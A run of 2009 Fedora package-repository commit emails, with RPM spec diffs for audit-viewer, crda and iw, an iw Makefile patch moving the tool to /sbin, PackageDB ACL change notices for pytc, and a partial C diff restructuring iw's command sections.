+++ audit-viewer.spec	1 Oct 2009 18:43:08 -0000	1.11
@@ -1,7 +1,7 @@
 Summary: Audit event viewer
 Name: audit-viewer
-Version: 0.5
-Release: 2
+Version: 0.5.1
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: https://fedorahosted.org/audit-viewer/
@@ -52,10 +52,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/mime/packages/audit-viewer.xml
 %{_libexecdir}/audit-viewer-server
 %{_libexecdir}/audit-viewer-server-real
+%{_mandir}/man8/audit-viewer.8*
 %config(noreplace) %{_sysconfdir}/pam.d/audit-viewer-server
 %config(noreplace) %{_sysconfdir}/security/console.apps/audit-viewer-server
 
 %changelog
+* Thu Oct  1 2009 Miloslav Trma? <mitr at redhat.com> - 0.5.1-1
+- Update to audit-viewer-0.5.1.
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.5-2
 - BuildRequires: intltool
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit-viewer/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	15 Sep 2009 20:27:27 -0000	1.5
+++ sources	1 Oct 2009 18:43:08 -0000	1.6
@@ -1 +1 @@
-63966dcdc8c4388c966dc8972f5f1973  audit-viewer-0.5.tar.bz2
+0d7cf49953f86c9e47823fe162635cd7  audit-viewer-0.5.1.tar.bz2



From linville at fedoraproject.org  Thu Oct  1 18:46:13 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 18:46:13 +0000 (UTC)
Subject: rpms/crda/F-11 crda.spec,1.19,1.20
Message-ID: <20091001184613.4D03B11C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/crda/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11388

Modified Files:
	crda.spec 
Log Message:
Move regdb to /lib/crda to facilitate /usr mounted over wireless network


Index: crda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crda/F-11/crda.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- crda.spec	9 Sep 2009 14:00:28 -0000	1.19
+++ crda.spec	1 Oct 2009 18:46:12 -0000	1.20
@@ -3,7 +3,7 @@
 
 Name:           crda
 Version:        %{crda_version}_%{regdb_version}
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Regulatory compliance daemon for 802.11 wireless networking
 
 Group:          System Environment/Base
@@ -56,11 +56,11 @@ rm -rf $RPM_BUILD_ROOT
 
 cd crda-%{crda_version}
 cp README README.crda
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 cd ../wireless-regdb-%{regdb_version}
 cp README README.wireless-regdb
-make install PREFIX=${RPM_BUILD_ROOT}/usr
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 install -D -m0755 %SOURCE2 ${RPM_BUILD_ROOT}/sbin
 
@@ -74,7 +74,7 @@ rm -rf $RPM_BUILD_ROOT
 /sbin/regdbdump
 /sbin/setregdomain
 /lib/udev/rules.d/85-regulatory.rules
-/usr/lib/%{name}
+/lib/%{name}
 %{_mandir}/man5/regulatory.bin.5.gz
 %{_mandir}/man8/crda.8.gz
 %{_mandir}/man8/regdbdump.8.gz
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc wireless-regdb-%{regdb_version}/README.wireless-regdb
 
 %changelog
+* Wed Oct  1 2009 John W. Linville <linville at redhat.com> 1.1.0_2009.09.08-3
+- Move regdb to /lib/crda to facilitate /usr mounted over wireless network
+
 * Wed Sep  9 2009 John W. Linville <linville at redhat.com> 1.1.0_2009.09.08-2
 - Update wireless-regdb to version 2009.09.08 
 - Start resetting release number with version updates



From linville at fedoraproject.org  Thu Oct  1 18:49:43 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 18:49:43 +0000 (UTC)
Subject: rpms/iw/devel iw.spec,1.17,1.18
Message-ID: <20091001184943.1C4C411C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/iw/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12916

Modified Files:
	iw.spec 
Log Message:
Install in /sbin


Index: iw.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iw/devel/iw.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- iw.spec	4 Sep 2009 16:21:41 -0000	1.17
+++ iw.spec	1 Oct 2009 18:49:42 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           iw
 Version:        0.9.17
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A nl80211 based wireless configuration tool
 
 Group:          System Environment/Base
@@ -13,7 +13,8 @@ BuildRequires: kernel-devel >= 2.6.24 
 BuildRequires: libnl-devel >= 1.0
 BuildRequires: pkgconfig      
 
-Patch0:         iw-avoid-section-type-conflict-on-ppc64.patch
+Patch0:         iw-default-install-to-PREFIX-sbin.patch
+Patch1:         iw-avoid-section-type-conflict-on-ppc64.patch
 
 %description
 iw is a new nl80211 based CLI configuration utility for wireless devices.
@@ -23,7 +24,8 @@ only because most new wireless devices b
 
 %prep
 %setup -q
-%patch0 -p1 -R
+%patch0 -p1
+%patch1 -p1 -R
 
 
 %build
@@ -32,7 +34,7 @@ make %{?_smp_mflags} CFLAGS="$RPM_OPT_FL
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 
 %clean
@@ -41,11 +43,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%{_bindir}/%{name}
+/sbin/%{name}
 %{_datadir}/man/man8/iw.*
 %doc COPYING
 
 %changelog
+* Thu Oct  1 2009 John W. Linville <linville at redhat.com> 0.9.17-3
+- Install in /sbin
+
 * Fri Sep  4 2009 John W. Linville <linville at redhat.com> 0.9.17-2
 - Revert "separate commands into sections", section type conflicts on ppc64
 



From linville at fedoraproject.org  Thu Oct  1 18:50:37 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 18:50:37 +0000 (UTC)
Subject: rpms/iw/devel iw-default-install-to-PREFIX-sbin.patch,NONE,1.1
Message-ID: <20091001185037.A652611C043C@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/iw/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13765

Added Files:
	iw-default-install-to-PREFIX-sbin.patch 
Log Message:
Install in /sbin

iw-default-install-to-PREFIX-sbin.patch:
 Makefile |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE iw-default-install-to-PREFIX-sbin.patch ---
>From f8a9dbbbde041fca098b579c3669819e8282577a Mon Sep 17 00:00:00 2001
From: John W. Linville <linville at tuxdriver.com>
Date: Wed, 30 Sep 2009 09:17:39 -0400
Subject: [iw PATCH] default install to $(PREFIX)/sbin

The iw utility isn't generally useful to normal users, so move it to
$(PREFIX)/sbin with other system management executables.

Signed-off-by: John W. Linville <linville at tuxdriver.com>
---
As "suggested" by Johannes... :-)

 Makefile |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Makefile b/Makefile
index cb5fcc1..68bef4d 100644
--- a/Makefile
+++ b/Makefile
@@ -3,7 +3,7 @@
 MAKEFLAGS += --no-print-directory
 
 PREFIX ?= /usr
-BINDIR ?= $(PREFIX)/bin
+SBINDIR ?= $(PREFIX)/sbin
 MANDIR ?= $(PREFIX)/share/man
 PKG_CONFIG ?= pkg-config
 
@@ -85,8 +85,8 @@ check:
 
 install: iw iw.8.gz
 	@$(NQ) ' INST iw'
-	$(Q)$(MKDIR) $(DESTDIR)$(BINDIR)
-	$(Q)$(INSTALL) -m 755 -t $(DESTDIR)$(BINDIR) iw
+	$(Q)$(MKDIR) $(DESTDIR)$(SBINDIR)
+	$(Q)$(INSTALL) -m 755 -t $(DESTDIR)$(SBINDIR) iw
 	@$(NQ) ' INST iw.8'
 	$(Q)$(MKDIR) $(DESTDIR)$(MANDIR)/man8/
 	$(Q)$(INSTALL) -m 644 -t $(DESTDIR)$(MANDIR)/man8/ iw.8.gz
-- 
1.6.2.5




From linville at fedoraproject.org  Thu Oct  1 18:54:54 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 18:54:54 +0000 (UTC)
Subject: rpms/iw/F-12 iw-default-install-to-PREFIX-sbin.patch, NONE,
	1.1 iw.spec, 1.17, 1.18
Message-ID: <20091001185454.CABD311C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/iw/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14620

Modified Files:
	iw.spec 
Added Files:
	iw-default-install-to-PREFIX-sbin.patch 
Log Message:
Install in /sbin

iw-default-install-to-PREFIX-sbin.patch:
 Makefile |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE iw-default-install-to-PREFIX-sbin.patch ---
>From f8a9dbbbde041fca098b579c3669819e8282577a Mon Sep 17 00:00:00 2001
From: John W. Linville <linville at tuxdriver.com>
Date: Wed, 30 Sep 2009 09:17:39 -0400
Subject: [iw PATCH] default install to $(PREFIX)/sbin

The iw utility isn't generally useful to normal users, so move it to
$(PREFIX)/sbin with other system management executables.

Signed-off-by: John W. Linville <linville at tuxdriver.com>
---
As "suggested" by Johannes... :-)

 Makefile |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Makefile b/Makefile
index cb5fcc1..68bef4d 100644
--- a/Makefile
+++ b/Makefile
@@ -3,7 +3,7 @@
 MAKEFLAGS += --no-print-directory
 
 PREFIX ?= /usr
-BINDIR ?= $(PREFIX)/bin
+SBINDIR ?= $(PREFIX)/sbin
 MANDIR ?= $(PREFIX)/share/man
 PKG_CONFIG ?= pkg-config
 
@@ -85,8 +85,8 @@ check:
 
 install: iw iw.8.gz
 	@$(NQ) ' INST iw'
-	$(Q)$(MKDIR) $(DESTDIR)$(BINDIR)
-	$(Q)$(INSTALL) -m 755 -t $(DESTDIR)$(BINDIR) iw
+	$(Q)$(MKDIR) $(DESTDIR)$(SBINDIR)
+	$(Q)$(INSTALL) -m 755 -t $(DESTDIR)$(SBINDIR) iw
 	@$(NQ) ' INST iw.8'
 	$(Q)$(MKDIR) $(DESTDIR)$(MANDIR)/man8/
 	$(Q)$(INSTALL) -m 644 -t $(DESTDIR)$(MANDIR)/man8/ iw.8.gz
-- 
1.6.2.5



Index: iw.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iw/F-12/iw.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- iw.spec	4 Sep 2009 16:21:41 -0000	1.17
+++ iw.spec	1 Oct 2009 18:54:54 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           iw
 Version:        0.9.17
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A nl80211 based wireless configuration tool
 
 Group:          System Environment/Base
@@ -13,7 +13,8 @@ BuildRequires: kernel-devel >= 2.6.24 
 BuildRequires: libnl-devel >= 1.0
 BuildRequires: pkgconfig      
 
-Patch0:         iw-avoid-section-type-conflict-on-ppc64.patch
+Patch0:         iw-default-install-to-PREFIX-sbin.patch
+Patch1:         iw-avoid-section-type-conflict-on-ppc64.patch
 
 %description
 iw is a new nl80211 based CLI configuration utility for wireless devices.
@@ -23,7 +24,8 @@ only because most new wireless devices b
 
 %prep
 %setup -q
-%patch0 -p1 -R
+%patch0 -p1
+%patch1 -p1 -R
 
 
 %build
@@ -32,7 +34,7 @@ make %{?_smp_mflags} CFLAGS="$RPM_OPT_FL
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 
 %clean
@@ -41,11 +43,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%{_bindir}/%{name}
+/sbin/%{name}
 %{_datadir}/man/man8/iw.*
 %doc COPYING
 
 %changelog
+* Thu Oct  1 2009 John W. Linville <linville at redhat.com> 0.9.17-3
+- Install in /sbin
+
 * Fri Sep  4 2009 John W. Linville <linville at redhat.com> 0.9.17-2
 - Revert "separate commands into sections", section type conflicts on ppc64
 



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:23 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185823.AE10010F875@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pytc (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:24 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185824.8B6C410F894@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pytc (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:27 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185827.3E59810F8A8@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytc (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:29 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185829.4EB9F10F8AD@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pytc (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:33 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185833.4D0F710F8B1@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytc (Fedora devel) to Approved for deji

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:38 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185838.5866910F86A@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytc (Fedora 11) to Approved for deji

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:40 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185840.A84BB10F8B3@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytc (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:42 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185842.0631A10F894@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pytc (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:43 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185843.AB58B10F8B8@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pytc (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:45 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185845.2583910F8B9@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pytc (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:48 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185849.0DFB910F8A8@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytc (Fedora 12) to Approved for deji

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:50 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185850.F2A9210F8AD@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pytc (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:52 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185852.517E010F8BA@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytc (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:53 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185853.E7A2D10F8BD@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pytc (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:58:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:58:55 +0000
Subject: [pkgdb] pytc had acl change status
Message-ID: <20091001185855.694C910F8A9@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pytc (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytc



From linville at fedoraproject.org  Thu Oct  1 19:03:15 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 19:03:15 +0000 (UTC)
Subject: rpms/iw/F-11 iw-avoid-section-type-conflict-on-ppc64.patch, NONE,
	1.1 iw-default-install-to-PREFIX-sbin.patch, NONE, 1.1 iw.spec,
	1.13, 1.14
Message-ID: <20091001190315.064C211C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/iw/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16661

Modified Files:
	iw.spec 
Added Files:
	iw-avoid-section-type-conflict-on-ppc64.patch 
	iw-default-install-to-PREFIX-sbin.patch 
Log Message:
resync w/ 0.9.17-3

iw-avoid-section-type-conflict-on-ppc64.patch:
 Makefile    |    1 
 connect.c   |    4 -
 ibss.c      |    2 
 info.c      |    2 
 interface.c |    2 
 iw.c        |  122 +++++++++++++++++++++++++++++++++++++-----------------------
 iw.h        |   38 ++++++++++++++----
 link.c      |    8 +--
 mpath.c     |    2 
 reg.c       |    2 
 scan.c      |   16 +++----
 sections.c  |    4 +
 station.c   |    2 
 13 files changed, 136 insertions(+), 69 deletions(-)

--- NEW FILE iw-avoid-section-type-conflict-on-ppc64.patch ---
commit 4698bfc235c20e955466b6362df2a39f7478c13f
Author: Johannes Berg <johannes at sipsolutions.net>
Date:   Mon Aug 24 12:53:34 2009 +0200

    separate commands into sections
    
    The ad-hoc way of parsing the command "tree" didn't
    really work out, so separate the commands better
    into sections and parse by that.

diff --git a/Makefile b/Makefile
index e356ae4..cb5fcc1 100644
--- a/Makefile
+++ b/Makefile
@@ -18,6 +18,7 @@ OBJS = iw.o genl.o event.o info.o phy.o \
 	interface.o ibss.o station.o util.o \
 	mesh.o mpath.o scan.o reg.o version.o \
 	reason.o status.o connect.o link.o
+OBJS += sections.o
 ALL = iw
 
 NL1FOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-1 && echo Y)
diff --git a/connect.c b/connect.c
index 91be62a..ced289f 100644
--- a/connect.c
+++ b/connect.c
@@ -67,7 +67,6 @@ static int disconnect(struct nl80211_state *state,
 TOPLEVEL(disconnect, NULL,
 	NL80211_CMD_DISCONNECT, 0, CIB_NETDEV, disconnect,
 	"Disconnect from the current network.");
-HIDDEN(conn, establish, "", NL80211_CMD_CONNECT, 0, CIB_NETDEV, iw_conn);
 
 static int iw_connect(struct nl80211_state *state, struct nl_cb *cb,
 		      struct nl_msg *msg, int argc, char **argv)
@@ -97,7 +96,7 @@ static int iw_connect(struct nl80211_state *state, struct nl_cb *cb,
 	if (!conn_argv)
 		return -ENOMEM;
 	conn_argv[0] = dev;
-	conn_argv[1] = "conn";
+	conn_argv[1] = "connect";
 	conn_argv[2] = "establish";
 	for (i = 0; i < argc; i++)
 		conn_argv[i + 3] = argv[i];
@@ -138,3 +137,4 @@ TOPLEVEL(connect, "[-w] <SSID> [<freq in MHz>] [<bssid>] [key 0:abcde d:1:616263
 	0, 0, CIB_NETDEV, iw_connect,
 	"Join the network with the given SSID (and frequency, BSSID).\n"
 	"With -w, wait for the connect to finish or fail.");
+HIDDEN(connect, establish, "", NL80211_CMD_CONNECT, 0, CIB_NETDEV, iw_conn);
diff --git a/ibss.c b/ibss.c
index 8785e7a..4715ac8 100644
--- a/ibss.c
+++ b/ibss.c
@@ -9,6 +9,8 @@
 #include "nl80211.h"
 #include "iw.h"
 
+SECTION(ibss);
+
 static int join_ibss(struct nl80211_state *state,
 		     struct nl_cb *cb,
 		     struct nl_msg *msg,
diff --git a/info.c b/info.c
index 1b5e443..7bca69d 100644
--- a/info.c
+++ b/info.c
@@ -282,7 +282,7 @@ static int handle_info(struct nl80211_state *state,
 
 	return 0;
 }
-TOPLEVEL(info, NULL, NL80211_CMD_GET_WIPHY, 0, CIB_PHY, handle_info,
+__COMMAND(NULL, info, "info", NULL, NL80211_CMD_GET_WIPHY, 0, 0, CIB_PHY, handle_info,
 	 "Show capabilities for the specified wireless device.");
 TOPLEVEL(list, NULL, NL80211_CMD_GET_WIPHY, NLM_F_DUMP, CIB_NONE, handle_info,
 	 "List all wireless devices and their capabilities.");
diff --git a/interface.c b/interface.c
index d3f6e2d..bf1335a 100644
--- a/interface.c
+++ b/interface.c
@@ -18,6 +18,8 @@
 			"otherbss: show frames from other BSSes\n"\
 			"cook:     use cooked mode"
 
+SECTION(interface);
+
 static char *mntr_flags[NL80211_MNTR_FLAG_MAX + 1] = {
 	"none",
 	"fcsfail",
diff --git a/iw.c b/iw.c
index 2525492..8fcf2f6 100644
--- a/iw.c
+++ b/iw.c
@@ -94,12 +94,17 @@ static void nl80211_cleanup(struct nl80211_state *state)
 	nl_socket_free(state->nl_sock);
 }
 
-__COMMAND(NULL, NULL, "", NULL, 0, 0, 0, CIB_NONE, NULL, NULL);
-__COMMAND(NULL, NULL, "", NULL, 1, 0, 0, CIB_NONE, NULL, NULL);
-
 static int cmd_size;
 
-static void __usage_cmd(struct cmd *cmd, char *indent, bool full)
+extern struct cmd __start___cmd;
+extern struct cmd __stop___cmd;
+
+#define for_each_cmd(_cmd)					\
+	for (_cmd = &__start___cmd; _cmd < &__stop___cmd;		\
+	     _cmd = (const struct cmd *)((char *)_cmd + cmd_size))
+
+
+static void __usage_cmd(const struct cmd *cmd, char *indent, bool full)
 {
 	const char *start, *lend, *end;
 
@@ -115,8 +120,8 @@ static void __usage_cmd(struct cmd *cmd, char *indent, bool full)
 		printf("dev <devname> ");
 		break;
 	}
-	if (cmd->section)
-		printf("%s ", cmd->section);
+	if (cmd->parent && cmd->parent->name)
+		printf("%s ", cmd->parent->name);
 	printf("%s", cmd->name);
 	if (cmd->args)
 		printf(" %s", cmd->args);
@@ -156,17 +161,26 @@ static const char *argv0;
 
 static void usage(bool full)
 {
-	struct cmd *cmd;
+	const struct cmd *section, *cmd;
 
 	printf("Usage:\t%s [options] command\n", argv0);
 	usage_options();
 	printf("\t--version\tshow version (%s)\n", iw_version);
 	printf("Commands:\n");
-	for (cmd = &__start___cmd; cmd < &__stop___cmd;
-	     cmd = (struct cmd *)((char *)cmd + cmd_size)) {
-		if (!cmd->handler || cmd->hidden)
+	for_each_cmd(section) {
+		if (section->parent)
 			continue;
-		__usage_cmd(cmd, "\t", full);
+
+		if (section->handler && !section->hidden)
+			__usage_cmd(section, "\t", full);
+
+		for_each_cmd(cmd) {
+			if (section != cmd->parent)
+				continue;
+			if (!cmd->handler || cmd->hidden)
+				continue;
+			__usage_cmd(cmd, "\t", full);
+		}
 	}
 	printf("\nYou can omit the 'phy' or 'dev' if "
 			"the identification is unique,\n"
@@ -186,7 +200,7 @@ static int print_help(struct nl80211_state *state,
 TOPLEVEL(help, NULL, 0, 0, CIB_NONE, print_help,
 	 "Print usage for each command.");
 
-static void usage_cmd(struct cmd *cmd)
+static void usage_cmd(const struct cmd *cmd)
 {
 	printf("Usage:\t%s [options] ", argv0);
 	__usage_cmd(cmd, "", true);
@@ -238,9 +252,9 @@ static int ack_handler(struct nl_msg *msg, void *arg)
 }
 
 static int __handle_cmd(struct nl80211_state *state, enum id_input idby,
-			int argc, char **argv, struct cmd **cmdout)
+			int argc, char **argv, const struct cmd **cmdout)
 {
-	struct cmd *cmd, *match = NULL;
+	const struct cmd *cmd, *match = NULL, *sectcmd;
 	struct nl_cb *cb;
 	struct nl_msg *msg;
 	int devidx = 0;
@@ -285,44 +299,61 @@ static int __handle_cmd(struct nl80211_state *state, enum id_input idby,
 	if (devidx < 0)
 		return -errno;
 
-	section = command = *argv;
+	section = *argv;
 	argc--;
 	argv++;
 
-	for (cmd = &__start___cmd; cmd < &__stop___cmd;
-	     cmd = (struct cmd *)((char *)cmd + cmd_size)) {
-		if (!cmd->handler)
+	for_each_cmd(sectcmd) {
+		if (sectcmd->parent)
 			continue;
-		if (cmd->idby != command_idby)
+		/* ok ... bit of a hack for the dupe 'info' section */
+		if (match && sectcmd->idby != command_idby)
 			continue;
-		if (cmd->section) {
-			if (strcmp(cmd->section, section))
+		if (strcmp(sectcmd->name, section) == 0)
+			match = sectcmd;
+	}
+
+	sectcmd = match;
+	match = NULL;
+	if (!sectcmd)
+		return 1;
+
+	if (argc > 0) {
+		command = *argv;
+
+		for_each_cmd(cmd) {
+			if (!cmd->handler)
 				continue;
-			/* this is a bit icky ... */
-			if (command == section) {
-				if (argc <= 0) {
-					if (match)
-						break;
-					return 1;
-				}
-				command = *argv;
-				argc--;
-				argv++;
-			}
-		} else if (section != command)
-			continue;
-		if (strcmp(cmd->name, command))
-			continue;
-		if (argc && !cmd->args)
-			continue;
+			if (cmd->parent != sectcmd)
+				continue;
+			if (cmd->idby != command_idby)
+				continue;
+			if (strcmp(cmd->name, command))
+				continue;
+			if (argc > 1 && !cmd->args)
+				continue;
+			match = cmd;
+			break;
+		}
 
-		match = cmd;
+		if (match) {
+			argc--;
+			argv++;
+		}
 	}
 
-	cmd = match;
-
-	if (!cmd)
-		return 1;
+	if (match)
+		cmd = match;
+	else {
+		/* Use the section itself, if possible. */
+		cmd = sectcmd;
+		if (argc && !cmd->args)
+			return 1;
+		if (cmd->idby != command_idby)
+			return 1;
+		if (!cmd->handler)
+			return 1;
+	}
 
 	if (cmdout)
 		*cmdout = cmd;
@@ -396,11 +427,10 @@ int main(int argc, char **argv)
 {
 	struct nl80211_state nlstate;
 	int err;
-	struct cmd *cmd = NULL;
+	const struct cmd *cmd = NULL;
 
 	/* calculate command size including padding */
-	cmd_size = abs((long)&__cmd_NULL_NULL_1_CIB_NONE_0
-	             - (long)&__cmd_NULL_NULL_0_CIB_NONE_0);
+	cmd_size = abs((long)&__section_set - (long)&__section_get);
 	/* strip off self */
 	argc--;
 	argv0 = *argv++;
diff --git a/iw.h b/iw.h
index 94948ec..511a1db 100644
--- a/iw.h
+++ b/iw.h
@@ -35,7 +35,6 @@ enum id_input {
 };
 
 struct cmd {
-	const char *section;
 	const char *name;
 	const char *args;
 	const char *help;
@@ -52,6 +51,7 @@ struct cmd {
 		       struct nl_cb *cb,
 		       struct nl_msg *msg,
 		       int argc, char **argv);
+	const struct cmd *parent;
 };
 
 #define ARRAY_SIZE(ar) (sizeof(ar)/sizeof(ar[0]))
@@ -60,7 +60,6 @@ struct cmd {
 	static const struct cmd						\
 	__cmd ## _ ## _symname ## _ ## _handler ## _ ## _nlcmd ## _ ## _idby ## _ ## _hidden\
 	__attribute__((used)) __attribute__((section("__cmd")))	= {	\
-		.section = (_section),					\
 		.name = (_name),					\
 		.args = (_args),					\
 		.cmd = (_nlcmd),					\
@@ -69,15 +68,34 @@ struct cmd {
 		.idby = (_idby),					\
 		.handler = (_handler),					\
 		.help = (_help),					\
+		.parent = _section,					\
 	 }
 #define COMMAND(section, name, args, cmd, flags, idby, handler, help)	\
